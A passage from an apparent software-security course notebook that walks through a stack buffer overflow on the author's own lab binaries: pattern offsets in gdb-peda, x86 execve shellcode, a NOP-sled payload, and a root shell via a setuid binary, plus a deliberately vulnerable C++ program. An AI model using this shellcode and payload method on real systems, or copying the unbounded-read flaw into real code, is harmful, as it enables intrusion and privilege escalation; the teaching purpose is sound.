    "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n",
    "\n",
    "Program received signal SIGSEGV, Segmentation fault.\n",
    "[----------------------------------registers-----------------------------------]\n",
    "EAX: 0xf7fb2c00 --> 0xf7faf990 --> 0xf7ef71b0 (<_ZNSoD1Ev>:     push   ebx)\n",
    "EBX: 0x6c414150 ('PAAl')\n",
    "ECX: 0x6c0 \n",
    "EDX: 0x8051bb0 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\"...)\n",
    "ESI: 0xf7de6000 --> 0x1e4d6c \n",
    "EDI: 0xf7de6000 --> 0x1e4d6c \n",
    "EBP: 0x41514141 ('AAQA')\n",
    "ESP: 0xffffc2e0 (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "EIP: 0x41416d41 ('AmAA')\n",
    "EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n",
    "[-------------------------------------code-------------------------------------]\n",
    "Invalid $PC address: 0x41416d41\n",
    "[------------------------------------stack-------------------------------------]\n",
    "0000| 0xffffc2e0 (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0004| 0xffffc2e4 (\"AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0008| 0xffffc2e8 (\"ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0012| 0xffffc2ec (\"TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0016| 0xffffc2f0 (\"AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0020| 0xffffc2f4 (\"ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0024| 0xffffc2f8 (\"VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0028| 0xffffc2fc (\"AAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "[------------------------------------------------------------------------------]\n",
    "Legend: code, data, rodata, value\n",
    "Stopped reason: SIGSEGV\n",
    "0x41416d41 in ?? ()\n",
    "```\n",
    "\n",
    "```bash\n",
    "\n",
    "gdb-peda$ patts\n",
    "Registers contain pattern buffer:\n",
    "EBX+0 found at offset: 132\n",
    "EBP+0 found at offset: 136\n",
    "EIP+0 found at offset: 140 <---- !!!THIS IS THE OFFSET!!!\n",
    "Registers point to pattern buffer:\n",
    "[EDX] --> offset 0 - size ~203\n",
    "[ESP] --> offset 144 - size ~56 \n",
    "Pattern buffer found at:\n",
    "0x08051bb0 : offset    0 - size  200 ([heap])\n",
    "0xf7c000cd : offset 33208 - size    4 (/usr/lib32/libm-2.31.so)\n",
    "0xffffc250 : offset    0 - size  200 ($sp + -0x90 [-36 dwords])\n",
    "0xffffc625 : offset    0 - size  200 ($sp + 0x345 [209 dwords])\n",
    "References to pattern buffer found at:\n",
    "0xf7de6d24 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d28 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d2c : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d30 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d34 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d38 : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xf7de6d3c : 0x08051bb0 (/usr/lib32/libc-2.31.so)\n",
    "0xffffbbc4 : 0x08051bb0 ($sp + -0x71c [-455 dwords])\n",
    "0xffffbbe8 : 0x08051bb0 ($sp + -0x6f8 [-446 dwords])\n",
    "0xffffbc14 : 0x08051bb0 ($sp + -0x6cc [-435 dwords])\n",
    "0xffffbc30 : 0x08051bb0 ($sp + -0x6b0 [-428 dwords])\n",
    "0xffffbc34 : 0x08051bb0 ($sp + -0x6ac [-427 dwords])\n",
    "0xffffbc44 : 0x08051bb0 ($sp + -0x69c [-423 dwords])\n",
    "0xffffbc94 : 0x08051bb0 ($sp + -0x64c [-403 dwords])\n",
    "0xffffc0d8 : 0x08051bb0 ($sp + -0x208 [-130 dwords])\n",
    "0xffffc124 : 0x08051bb0 ($sp + -0x1bc [-111 dwords])\n",
    "0xf7e62dcc : 0xffffc250 (/usr/lib32/libstdc++.so.6.0.28)\n",
    "0xffffbd40 : 0xffffc250 ($sp + -0x5a0 [-360 dwords])\n",
    "0xf7e650b7 : 0xffffc625 (/usr/lib32/libstdc++.so.6.0.28)\n",
    "0xffffc3b8 : 0xffffc625 ($sp + 0xd8 [54 dwords])\n",
    "\n",
    "```\n",
    "\n",
    "- buffer address is conviniently printed everytime program is executed\n",
    "\n",
    "```bash\n",
    "\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ ./so_arg.exe $(python3 -c 'print(\"A\"*10)')                                                                 139 ⨯\n",
    "buffer is at 0xffffc360   <--------- buffer address; will this shift as the argument length changes?\n",
    "buffer contains: \n",
    "AAAAAAAAAA\n",
    "Good bye!\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### need shellcode\n",
    "\n",
    "- next we need a **shellcode**\n",
    "- a bunch of binary shellcode files are already provided in `shellcode` folder"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "total 20\r\n",
      "-rw-r--r-- 1 kali kali  24 Dec 16  2020 shellcode.bin\r\n",
      "-rw-r--r-- 1 kali kali  35 Dec 16  2020 shellcode_root.bin\r\n",
      "-rw-r--r-- 1 kali kali 978 Mar 17 23:01 shellcode_writer.py\r\n",
      "-rw-r--r-- 1 kali kali 153 Dec 16  2020 system_shell.cpp\r\n",
      "-rw-r--r-- 1 kali kali 364 Dec 16  2020 x86-linux-sh.py\r\n"
     ]
    }
   ],
   "source": [
    "! ls -l ./shellcode/"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### generate shellcode with GDB-PEDA\n",
    "\n",
    "- PEDA provides several shellcodes to pick from\n",
    "- the following command generates linux/x86 local shellcode\n",
    "\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/EthicalHacking]\n",
    "└─$ gdb -q    \n",
    "gdb-peda$ shellcode generate\n",
    "Available shellcodes:\n",
    "    x86/linux exec\n",
    "    x86/linux bindport\n",
    "    x86/linux connect\n",
    "    x86/bsd exec\n",
    "    x86/bsd bindport\n",
    "    x86/bsd connect\n",
    "\n",
    "gdb-peda$ shellcode generate x86/linux exec\n",
    "# x86/linux/exec: 24 bytes\n",
    "shellcode = (\n",
    "    \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\"\n",
    "    \"\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80\"\n",
    ")\n",
    "\n",
    "```\n",
    "- your can write the generated shellcode to a file for easy access\n",
    "- copy line by line hex values between \" \" and append it to a binary file\n",
    "- you can bash echo, or python3\n",
    "- the followin code demonstrates writing shellcode to a file using echo command"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [],
   "source": [
    "# -n : do not print the trailing newline\n",
    "# -e : enable intrepretation of blackslash\n",
    "! echo -ne \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\" > shellcode_bash.bin\n",
    "! echo -ne \"\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\" >> shellcode_bash.bin\n",
    "! echo -ne \"\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80\" >> shellcode_bash.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "24 shellcode_bash.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c shellcode_bash.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 31  |1.Ph//shh/bin..1|\r\n",
      "00000010  c9 89 ca 6a 0b 58 cd 80                           |...j.X..|\r\n",
      "00000018\r\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C shellcode_bash.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- the following Pyton3 script to write the shellcode to a binary file"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Python3 script\n",
    "with open('shellcode_py3.bin', 'wb') as fout:\n",
    "    fout.write(b\"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\")\n",
    "    fout.write(b\"\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "24 shellcode_py3.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c shellcode_py3.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 31  |1.Ph//shh/bin..1|\r\n",
      "00000010  c9 89 ca 6a 0b 58 cd 80                           |...j.X..|\r\n",
      "00000018\r\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C shellcode_py3.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- the following command shows using Python3 from terminal to write the shellcode to a binary file"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 28,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Python3 from terminal\n",
    "! python3 -c 'import sys; sys.stdout.buffer.write(b\"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80\")' > shellcode1_py3.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "24 shellcode1_py3.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c shellcode1_py3.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 30,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 31  |1.Ph//shh/bin..1|\r\n",
      "00000010  c9 89 ca 6a 0b 58 cd 80                           |...j.X..|\r\n",
      "00000018\r\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C shellcode1_py3.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### create payload\n",
    "\n",
    "- recall payload has the following structure\n",
    "```\n",
    "| NOP sled | shellcode | controlled return address |\n",
    "```\n",
    "\n",
    "- we found out that **144** is the total length of the payload as **140** is the offset\n",
    "- user shellcode (see above) is **24** bytes long\n",
    "- total bytes remaining for NOP sled and repeated return address can be calculated as following"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "120\n"
     ]
    }
   ],
   "source": [
    "print(144-24)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- out of **120** bytes, return address size is 4 in 32-bit system\n",
    "- let's repeat the return address *5 times*\n",
    "- so the size of repeated return address = **5\\*4 = 20**\n",
    "- that leaves us with **120 - 20 = 100 NOP sled**\n",
    "- **make sure length of (NOP sled + Shellcode) is a multiple of 4!**\n",
    "    - so the one of the 4-byte repeated return addresses perfectly aligns at the (EBP+4) location"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- so, we'll create the payload file of the following structure\n",
    "\n",
    "```\n",
    "| 100 NOP sled | 24 bytes shellcode | 5 controlled return addresses |\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 45,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's create NOP sled of 100 bytes long and write it to payload.bin file\n",
    "! python -c 'import sys; sys.stdout.buffer.write(b\"\\x90\"*100)' > payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 46,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's append shellcode_py3.bin to payload.bin file\n",
    "! cat shellcode_py3.bin >> payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 47,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "124 payload.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 48,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\r\n",
      "*\r\n",
      "00000060  90 90 90 90 31 c0 50 68  2f 2f 73 68 68 2f 62 69  |....1.Ph//shh/bi|\r\n",
      "00000070  6e 89 e3 31 c9 89 ca 6a  0b 58 cd 80              |n..1...j.X..|\r\n",
      "0000007c\r\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C payload.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- what's the address of buffer?\n",
    "- make sure we use the same size of junk as the size of the payload\n",
    "- this should be run directly from terminal as the buffer will shift if the program is run from the notebook\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ ./so_arg.exe $(python3 -c 'print(\"A\"*144, end=\"\")')\n",
    "buffer is at 0xffffbd70  <<<<<<-----NOTE THE ADDRESS -----!!!!\n",
    "buffer contains: \n",
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
    "zsh: segmentation fault  ./so_arg.exe $(python3 -c 'print(\"A\"*144, end=\"\")')\n",
    "\n",
    "```\n",
    "\n",
    "- you can try landing at the base address of buffer or some bytes away from it, just in case!"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 49,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "ffffbd84"
     ]
    }
   ],
   "source": [
    "# it's recommended to pick SOME bytes away from the base address of the buffer \n",
    "# if possible and necessary\n",
    "! printf \"%x\" $((0xffffBD70+20))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 50,
   "metadata": {},
   "outputs": [],
   "source": [
    "# but, let's just use the buffer's base address to start with...\n",
    "# we repeat the return address 5 times\n",
    "! python -c 'import sys; sys.stdout.buffer.write(b\"\\x84\\xbd\\xff\\xff\"*5)' >> payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 51,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "144 payload.bin\r\n"
     ]
    }
   ],
   "source": [
    "# out payload is ready; let's check size make sure it's the same as the offset\n",
    "! wc -c payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 52,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\r\n",
      "*\r\n",
      "00000060  90 90 90 90 31 c0 50 68  2f 2f 73 68 68 2f 62 69  |....1.Ph//shh/bi|\r\n",
      "00000070  6e 89 e3 31 c9 89 ca 6a  0b 58 cd 80 84 bd ff ff  |n..1...j.X......|\r\n",
      "00000080  84 bd ff ff 84 bd ff ff  84 bd ff ff 84 bd ff ff  |................|\r\n",
      "00000090\r\n"
     ]
    }
   ],
   "source": [
    "# let's see the content using hexdump\n",
    "! hexdump -C payload.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### finally, run the target program with the payload \n",
    "\n",
    "```bash\n",
    "base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ ./so_arg.exe $(cat payload.bin)\n",
    "buffer is at 0xffffbd70\n",
    "buffer contains: \n",
    "����������������������������������������������������������������������������������������������������1�Ph//shh/bin��1ɉ�j\n",
    "                             X��������������������\n",
    "(base) kali@x86_64-conda-linux-gnu:~/projects/SoftwareSecurity$ whoami              \n",
    "kali\n",
    "                                                                                         \n",
    "(base) kali@x86_64-conda-linux-gnu:~/projects/SoftwareSecurity$ date\n",
    "Wed Mar 29 10:42:06 EDT 2023\n",
    "\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### What about root shell?\n",
    "- create softlink `/bin/sh` pointing to `/bin/zsh`\n",
    "- make the program set-uid root and exploit it using the same payload"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 53,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S ln -sf /bin/zsh /bin/sh"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 54,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "lrwxrwxrwx 1 root root 8 Mar 29 10:46 /bin/sh -> /bin/zsh\r\n"
     ]
    }
   ],
   "source": [
    "! ls -al /bin/sh"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 56,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S chown root:root so_arg.exe"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 57,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S chmod u+s so_arg.exe"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 58,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "-rwsr-xr-x 1 root root 32808 Mar 29 10:23 so_arg.exe\r\n"
     ]
    }
   ],
   "source": [
    "! ls -al so_arg.exe"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Exploit the program\n",
    "- launch the same payload created before as nothing else has changed\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ ./so_arg.exe $(cat payload.bin)\n",
    "buffer is at 0xffffbd70\n",
    "buffer contains: \n",
    "����������������������������������������������������������������������������������������������������1�Ph//shh/bin��1ɉ�j\n",
    "                       X��������������������\n",
    "kali# whoami                                                                                   \n",
    "root\n",
    "kali# date                                                                                     \n",
    "Wed Mar 29 10:49:28 EDT 2023\n",
    "kali# exit\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Use standard input to smuggle the shellcode\n",
    "\n",
    "- if the program takes data from standard input and the buffer overrun is possible, then shellcode can still be transmitted and the program exploited\n",
    "- the steps are slightly different from sending shellcode as an argument\n",
    "- let's work with `so_stdio.cpp` program to demonstrate the steps"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <stdio.h>\r\n",
      "#include <string.h>\r\n",
      "#include <sys/types.h>\r\n",
      "#include <stdlib.h>\r\n",
      "#include <unistd.h>\r\n",
      "#include <iostream>\r\n",
      "using namespace std;\r\n",
      "\r\n",
      "#define BUFSIZE 128\r\n",
      "\r\n",
      "using namespace std;\r\n",
      "\r\n",
      "void give_shell(){\r\n",
      "    // Set the gid to the effective gid\r\n",
      "    // this prevents /bin/sh from dropping the privileges\r\n",
      "    gid_t gid = getegid();\r\n",
      "    setresgid(gid, gid, gid);\r\n",
      "    system(\"/bin/sh\");\r\n",
      "}\r\n",
      "\r\n",
      "char * mgets(char *dst) {\r\n",
      "    char *ptr = dst;\r\n",
      "    int ch; \r\n",
      "\t/* skip leading white spaces */ \r\n",
      "    while ((ch = getchar()) && (ch == ' ' or ch == '\\t') )\r\n",
      "        ; \r\n",
      "\r\n",
      "    if ((ch == '\\n') or (ch == EOF)) { \r\n",
      "        *ptr = '\\0';\r\n",
      "        return dst; \r\n",
      "    } \r\n",
      "    else\r\n",
      "        *ptr = ch;\r\n",
      "\r\n",
      "    /* now read the rest until \\n or EOF */ \r\n",
      "    while (true) {\r\n",
      "        ch = getchar();\r\n",
      "        if (ch == '\\n' or ch == EOF) break;\r\n",
      "        *(++ptr) = ch; \r\n",
      "    }\r\n",
      "    *(++ptr) = 0;\r\n",
      "    return dst;\r\n",
      "}\r\n",
      "\r\n",
      "void bad() {\r\n",
      "    char buffer[BUFSIZE];\r\n",
      "    printf(\"buffer is at %p\\n\", buffer);\r\n",
      "    cout << \"Give me some text: \";\r\n",
      "    fflush(stdout);\r\n",
      "    mgets(buffer); // similar to C's gets;\r\n",
      "    //gets(buffer); // depricated\r\n",
      "    cout << \"Acknowledged: \" << buffer << \" with length \" << strlen(buffer) << endl;\r\n",
      "}\r\n",
      "\r\n",
      "int main(int argc, char *argv[]) {\r\n",
      "    gid_t gid = getegid();\r\n",
      "    setresgid(gid, gid, gid);\r\n",
      "    bad();\r\n",
      "    cout << \"Good bye!\\n\";\r\n",
      "    return 0;\r\n",
      "}"
     ]
    }
   ],
   "source": [
    "! cat ./demos/stack_overflow/so_stdio.cpp"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "%%bash\n",
    "input=\"./demos/stack_overflow/so_stdio.cpp\"\n",
    "output=so_stdio.exe\n",
    "\n",
    "echo kali | sudo -S ./compile.sh $input $output"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- since the stack_overflow_stdio.exe program reads the data from standard input, it can be piped to the program"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffc1e0\r\n",
      "Give me some text: Acknowledged: Hello World with length 11\r\n",
      "Good bye!\r\n"
     ]
    }
   ],
   "source": [
    "! python -c 'print(\"Hello World\")' | ./so_stdio.exe"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Crash the program\n",
    "\n",
    "- quick way to tell if the program has buffer overrun vulnerability, is to send a long string and see how the program reacts\n",
    "- if the program segfaults, it's a telltail sign that the program has buffer overflow flaw"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffc1e0\r\n",
      "Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA with length 100\r\n",
      "Good bye!\r\n"
     ]
    }
   ],
   "source": [
    "! python -c 'print(\"A\"*100)' | ./so_stdio.exe"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- because the size of the buffer is 128 and the data we sent was 100, this was okay as expected"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffc1e0\r\n",
      "Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA with length 200\r\n"
     ]
    }
   ],
   "source": [
    "# try longer string\n",
    "! python -c 'print(\"A\"*200)' | ./so_stdio.exe\n",
    "# since Good bye! is not printed; system must have crashed!"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Using GDB-batch commands"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [],
   "source": [
    "! cp demos/stack_overflow/gdb-so-stdio.txt ."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "pattern create 200 pattern.txt\r\n",
      "run < pattern.txt\r\n",
      "patts\r\n"
     ]
    }
   ],
   "source": [
    "! cat gdb-so-stdio.txt"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 59,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\u001b[mWriting pattern of 200 chars to filename \"pattern.txt\"\u001b[0m\n",
      "[Thread debugging using libthread_db enabled]\n",
      "Using host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n",
      "buffer is at 0xffffbcc0\n",
      "Give me some text: Acknowledged: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA with length 200\n",
      "\n",
      "Program received signal SIGSEGV, Segmentation fault.\n",
      "Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.\n",
      "Use 'set logging enabled off'.\n",
      "\n",
      "Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.\n",
      "Use 'set logging enabled on'.\n",
      "\n",
      "\u001b[2J\u001b[H\u001b[;34m[----------------------------------registers-----------------------------------]\u001b[0m\n",
      "\u001b[m\u001b[;32mEAX\u001b[0m: \u001b[;34m0xf7e23c40\u001b[0m --> \u001b[;32m0xf7e20970\u001b[0m --> \u001b[;31m0xf7d1b8c0\u001b[0m (<_ZNSoD1Ev>:\tendbr32)\n",
      "\u001b[;32mEBX\u001b[0m: 0x41416b41 ('AkAA')\n",
      "\u001b[;32mECX\u001b[0m: \u001b[;34m0xf7a1e9b8\u001b[0m --> 0x0 \n",
      "\u001b[;32mEDX\u001b[0m: \u001b[;32m0xf7e20970\u001b[0m --> \u001b[;31m0xf7d1b8c0\u001b[0m (<_ZNSoD1Ev>:\tendbr32)\n",
      "\u001b[;32mESI\u001b[0m: 0x6c414150 ('PAAl')\n",
      "\u001b[;32mEDI\u001b[0m: \u001b[;32m0xf7ffcb80\u001b[0m --> 0x0 \n",
      "\u001b[;32mEBP\u001b[0m: 0x41514141 ('AAQA')\n",
      "\u001b[;32mESP\u001b[0m: \u001b[;34m0xffffbd50\u001b[0m (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
      "\u001b[;32mEIP\u001b[0m: 0x41416d41 ('AmAA')\u001b[0m\n",
      "\u001b[m\u001b[;32mEFLAGS\u001b[0m: 0x10286 (\u001b[;32mcarry\u001b[0m \u001b[;1;31mPARITY\u001b[0m \u001b[;32madjust\u001b[0m \u001b[;32mzero\u001b[0m \u001b[;1;31mSIGN\u001b[0m \u001b[;32mtrap\u001b[0m \u001b[;1;31mINTERRUPT\u001b[0m \u001b[;32mdirection\u001b[0m \u001b[;32moverflow\u001b[0m)\u001b[0m\n",
      "\u001b[m\u001b[;34m[-------------------------------------code-------------------------------------]\u001b[0m\u001b[0m\n",
      "\u001b[;31mInvalid $PC address: 0x41416d41\u001b[0m\n",
      "\u001b[m\u001b[;34m[------------------------------------stack-------------------------------------]\u001b[0m\u001b[0m\n",
      "\u001b[m0000| \u001b[;34m0xffffbd50\u001b[0m (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
